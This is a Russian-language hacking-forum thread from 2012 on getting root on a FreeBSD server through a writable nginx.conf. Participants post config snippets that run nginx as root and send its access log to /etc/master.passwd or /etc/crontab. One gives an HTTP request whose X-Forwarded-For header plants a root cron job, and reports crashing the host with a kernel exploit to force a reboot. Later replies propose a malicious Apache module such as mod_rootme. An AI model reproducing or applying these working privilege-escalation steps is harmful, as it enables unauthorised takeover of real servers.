RDot

RDot (https://rdot.org/forum/index.php)
-   Повышение привилегий/Privilege escalation (https://rdot.org/forum/forumdisplay.php?f=24)
-   -   nginx.conf доступен для записи (https://rdot.org/forum/showthread.php?t=2505)

nickcerdito 20.11.2012 19:24

nginx.conf доступен для записи
 
Есть FreeBSD-хост, на котором используется nginx-1.0.15 c дефолтными плагинами, скрипты выполняются через php-fpm от юзера nobody. Как повысить свои привилегии в системе используя только возможность записи в nginx.conf?

P.S. Я свое решение решил выложить позже, так как мне это показалось интересной задачей :)

nobody 20.11.2012 20:05

Первая мысль:
Код:

user root wheel;
worker_proccess 1;
//... pid, etc
http {
  log_format main      '$http_referer'
}
server {
  listen 1337;
  access_log /etc/master.passwd main;
  /* etc */
}

по аналогии можно сделать root /etc и читать master.passwd из веба, главное через user сделать воркеров рутами.

На практике я не проверял, просто идея. Но у меня вопрос, как ты не имея рута заставил nginx перечитать конфиг?

nickcerdito 20.11.2012 20:25

Да, идея верная.

Я сделал похоже:

Код:

user root wheel
...
...
log_format tmplog '$http_x_forwarded_for';
location /rob0ts.txt {
  access_log /etc/crontab tmplog;
}

т.е. я добавил специальный location (чтобы кто-нибудь другой не "нагадил" в лог) и определил свой формат логов(log_format, кстати, можно использовать даже внутри location, хоть в документации написано только про контекст http), которые вывел в /etc/crontab. Дождался перезагрузки сервера и потом отправил запрос
Код:

GET /rob0ts.txt HTTP/1.1
X-Forwarded-For: */10 * * * * root /tmp/test.sh
Host: myhost.ru
Connection: close

Через 10 минут /tmp/test.sh выполнился из-под рута.

nickcerdito 20.11.2012 20:29

Цитата:

Сообщение от nobody (Сообщение 29579)
Но у меня вопрос, как ты не имея рута заставил nginx перечитать конфиг?

В моем случае это был сервер с FreeBSD 8.2, который я подвесил используя UIPC-эксплоит, а потом просто дождался перезагрузки.

overxor 30.11.2012 11:40

nickcerdito, ты, должно быть, запустил сплойт из веба?

nickcerdito 30.11.2012 13:06

Цитата:

Сообщение от overxor (Сообщение 29671)
nickcerdito, ты, должно быть, запустил сплойт из веба?

Использовал один из бекконект шеллов, но в рамках обсуждаемой темы это разве имеет значение?

overxor 30.11.2012 13:22

нет, чисто для себя интересно.

Arkan0id 09.12.2012 23:39

Прошу прощения если не в тему, но ситуация схожая - есть возможность записи в конфиг apache, что можно придумать?

nickcerdito 09.12.2012 23:48

Цитата:

Сообщение от Arkan0id (Сообщение 29764)
Прошу прощения если не в тему, но ситуация схожая - есть возможность записи в конфиг apache, что можно придумать?

Загрузить свой модуль, например.

Arkan0id 09.12.2012 23:57

Цитата:

Сообщение от nickcerdito (Сообщение 29765)
Загрузить свой модуль, например.

Спасибо! Погуглил, наткнулся на mod_rootme, а что-нибудь проверенное и посвежее есть? (Apache/2.2.17 (FreeBSD))


Часовой пояс GMT +3, время: 07:40.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot